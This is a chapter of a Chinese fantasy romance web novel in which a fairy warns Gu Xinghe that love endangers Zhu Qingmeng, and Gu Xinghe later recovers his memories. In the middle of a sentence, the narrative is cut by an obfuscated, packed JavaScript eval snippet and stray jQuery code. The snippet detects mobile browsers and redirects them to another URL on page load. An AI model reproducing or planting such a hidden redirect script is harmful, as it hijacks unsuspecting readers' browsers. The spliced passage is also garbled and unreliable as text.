祝清梦离开没多久,清雪便端了一碗水走了进来,她随手一挥,便清空了顾星河面前桌子上的书。
她将那碗水放在顾星河面前,道:“星河公子,这是我们极北特有的冰泉,凡人喝了能强身健体,你尝尝看。”
在对方和善的眼神中,顾星河端起了面前那个蓝色琉璃碗,喝了一口碗中淡白色的液体,实在是太凉了,他只觉得有一块冰从他嘴中,慢慢划向肚子里。
清雪道:“很凉吧!”
顾星河点了点头,道:“太凉了。”
清雪继续道:“这冰泉若是成仙之人饮,并不会感到凉,还能感觉到一丝甘甜,若是凡人饮,只会觉得凉。”
顾星河有些不甘心,又拿起面前的琉璃碗,喝了一口冰泉,还是个第一次一样,除了凉还是凉,他并未感到任何甜。
清雪道:“星河公子,你可只紫云宫如今为何如此冷清吗?”
顾星河道:“仙君说他师兄师姐,还有师妹,是为了人间安定,除魔时陨落的,其他的我便不知道了。”
清雪道:“清梦仙君所言不虚,但星河公子想知道更多吗?”
顾星河道:“想。”
对于祝清梦的一切他都想知道,可对方对很多事总是闭口不谈,如今有如此好的机会,他怎么能错过。
清雪坐在顾星河身旁道:“紫云宫变成如今这样子,其实和一个魔有关,那个魔喜欢清梦仙君,可他不知道他的喜欢对于清梦仙君来说,是灭门之灾,又或许他知道,但他并不在意,依旧要去喜欢清梦仙君,去纠缠他。”
有魔喜欢祝清梦,顾星河并不意外,毕竟祝清梦在他心里,就是值得这世间所有生物的喜欢,他道:“所以清梦仙君也喜欢那个魔吗?”
清雪道:“喜欢不喜欢,又或者有没有被对方蛊惑,我也不清楚,不过成仙者,不能擅动凡心,情之一字,妄动必遭劫难。紫云宫当年仙名显赫,威震八方,紫云宫的仙君和仙子们,个个声名显赫,扶倾济弱,却因为一段不该有的情,落得个身死道消,何其可悲。”
清雪的师姐花昼,曾经心怀天下,慈悲爱人,当年还曾和她说过:“清雪,你我既已成仙,身负常人不曾有的机遇和灵力,就该心怀天下。”
明明如此好的师姐,可就因为爱上了一个魔,导致性情大变,不仅杀了同门,还甘心堕魔。
这一切的一切,就是因为“情”之一字。因此遇到有同样经历的祝清梦,她们北辰宫上下,都能希望对方能堪破这世俗之情,早日参悟这天地大道。
顾星河想到祝清梦现在红梅林外落寞的身影,不禁心疼起他,他道:“可这一切和仙君没有任何关系啊?是那个魔的错啊!”
清雪道:“身为仙人,有情需往无情去,只有这样才能参悟这天地间的大道。星河公子,若真的爱清梦仙君,应该让他自由,而非让这世俗的情爱束缚他。”
听到这个话,顾星河才明白,对方和他说这些,是觉得他耽误了祝清梦,可他觉得祝清梦也喜欢他啊!两相倾心的喜欢,也会耽误祝清梦吗?他道:“爱怎么会成为束缚呢,仙君无论做什么,我都会支持他的。”
清雪道:“这冷泉你喝着会觉得奇凉无比,可清梦仙君并不会觉得凉,两情相悦也是如此,你觉得你不会束缚他,可清梦仙君呢?”
顾星河没有回答,难道他的爱真的是祝清梦的负担吗?可是祝清梦先说喜欢他的,又或者在他失忆前,是他死气白赖地缠着祝清梦,让他不得不喜欢他吗?
就在顾星河胡思乱想的时候,祝清梦和北极大帝回到了这会心殿,清雪急忙起身对着北极大帝行李道:“师父。”
祝清梦手上拿着一张地图,看着发呆的顾星河,道:“星河,我们该离开了。”
顾星河抬起头,看着祝清梦,对方的样子一如既往的好看,这样的超凡脱俗的仙,真的会真心喜欢上他一介凡人吗?他站起身,拿起面前的冷泉,递给了祝清梦,道:“仙君要尝尝吗?清雪仙子告诉我,这是极北特有的。”
祝清梦端起顾星河手中琉璃碗,将身下的冷泉一饮而尽,道:“北极大帝,清雪仙子,我们先告辞了。”
北极大帝道:“清梦,愿你能成功。”
清雪道:“清梦仙君,一路珍重。”
等到二人离开后,清雪道:“师父,该说的我已经说了。”
北极大帝道:“清梦,多好的一个孩子啊!若没有沉迷所谓的情爱。一定能参悟这世间大道。”
他的语气充满了浓浓的惋惜,谁都不知道他这些话是在惋惜祝清梦,还是他那个徒弟,也许两者都有。
清雪道:“只愿清梦仙君,早日迷途知返。”
仙者,就该持心以静,怎么能痴迷情爱呢?
……
出了这北辰宫,在这满天红雪中,顾星河现在祝清梦身旁,道:“仙君,刚刚喝的冷泉很甜吗?”
祝清梦道:“微甜,不算太甜。”
“这样啊!”顾星河有些失落地回答道。
他还在想清雪和他说的那些话,明明是一碗水,他觉得无比寒凉,祝清梦却能感觉到甜。那他们之间的感情,是不是只有他感到幸福,祝清梦感觉到的是束缚。
这次头疼来的异常凶猛,就连他的眼睛都疼的有些睁不开,他也不知道为什么会疼,可他不想让祝清梦担心他,祝清梦已经有那么多事要烦心了,不能再多个他了。他有些忐忑地问道:“仙君,接下来要去哪里?”
祝清梦握紧手中的封神图,道:“不枯山。”
好熟悉的名字,听到这名字让顾星河的头更疼了,他强装淡定道:“仙君,我和你一起去,你能背我吗?”
“嗯。”
祝清梦半蹲在顾星河面前,道:“上来吧。”
顾星河模模糊糊中看到一个紫色身影,他强装正定地趴到祝清梦背上,只希望对方不要发现他的异常。
他将头靠在祝清梦肩上,双臂环住他的脖颈,有些虚弱道:“仙君,我有些困了,我想睡会。”
祝清梦道:“嗯,你睡吧!”
祝清梦御剑向不枯山行去,他在身旁周围结了一个防风咒,只为让顾星河能睡得安心一些。
顾星河不知道他是痛晕的,还是对方的肩膀太宽厚温暖,让他不自觉睡着了。
断生在离开前,曾将他的记忆封锁在他识海中,可这段时间和祝清梦相处,他的灵力有所长进,再加上喝了梅映雪给他们的那杯,不知道是什么做的茶,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228125|187812||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
封印居然开始松动。
总之在顾星河的梦里,他想起了一切,想起了他的师父顾无为,他的师妹灵华,还有夜降天等等,当然也有祝清梦。
他第一次在南渊见到祝清梦,就觉得对方很特别,想来那应该就是喜欢吧!
可他却搞砸了一切,不仅误会了祝清梦,最后还赶他离开。
……
等到他们到了不枯山,顾星河也刚好醒了,想起一切的他,竟然有些不知道如何和祝清梦相处,甚至还有些尴尬,毕竟他还曾误解对方的身份。
祝清梦一只手拖住他的腿,一只手召唤出北极大帝给他的封神图,他将灵力注入到这灰白色的封神图上,念出北极大帝教给他的口诀:“封神之图,镇神于山,万法无踪,速速现形。”
随着祝清梦念完口诀,封神图变成一只很小的雪鸮,小到只有祝清梦指节那么大,它飞到祝清梦面前,鸣叫了一声,而后便向山中飞去,祝清梦则背着顾星河跟着这只小白鸮后边。
顾星河转动了一下自己的脑袋,看着那只飞翔的白霄,道:“仙君。”
祝清梦温柔地回道:“星河,你醒了。”
顾星河收紧了自己的双臂,将祝清梦环绕的更紧了,他道:“我想起来了,对不起。”
祝清梦知道顾星河总有一天会恢复记忆,可没想到对方会信么快,他道:“星河,是我对不起你。”
“仙君,别那么说。”
顾星河想到祝清梦曾说他找了他五千年,而清雪今天又和他说,五千年有一个魔喜欢上祝清梦,莫非他就是那个魔吗?那个害得祝清梦师门尽灭的魔吗?他试探问道:“仙君,我五千年前就喜欢上你了吗?”
祝清梦点了点头,道:“喜欢的。”
五千年前的顾星河虽然是魔,可祝清梦敢肯定,对方一定是非常非常地喜欢他。
“那个时候还有谁喜欢你吗?”
“没其他人,只有你,星河。”
原来他猜的没错,他真的是那个魔,顾星河突然想起灵华和白无患曾和祝清梦在一起找他,他凭知觉,问道:“我在苍虞派见到的沈之意,是仙君你吗?”
祝清梦道:“嗯,是我,因为我想你,又怕星河你讨厌我,所以我伪装成他人,去了苍虞派,我知道你为了灵华,一定会去苍虞派,我想见你,很想很想见你。”
顾星河道:“灵华呢?她还好吗?”
祝清梦道:“她很好,已经回到了丰沮玉门。”说完她从怀里拿出一根青色的羽毛,递给了顾星河,道:“这是灵华给你的。”
那只小白鸮回头看了一眼慢悠悠的祝清梦,它啼叫了一声,似乎在催促他们快跟上。
可这两个人没有理会它,顾星河道:“仙君,能把我变回我本来的样子吗?”
祝清梦道:“好。”
他扭过头看到顾星河正看着那根青色的羽毛,他的神情似乎有些落寞。祝清梦温柔地亲了一下他的鼻尖,只一瞬间断生给他下的易容咒就被破除了。
此时有两只黄鸣向他们飞来,它们身体像黄色的蛇,长约三丈,在他们的背部各有一双紫色的翅膀,黄鸣看到祝清梦那一刻,像看到什么可怕的东西,立马掉转头,拼命地煽动自己的翅膀。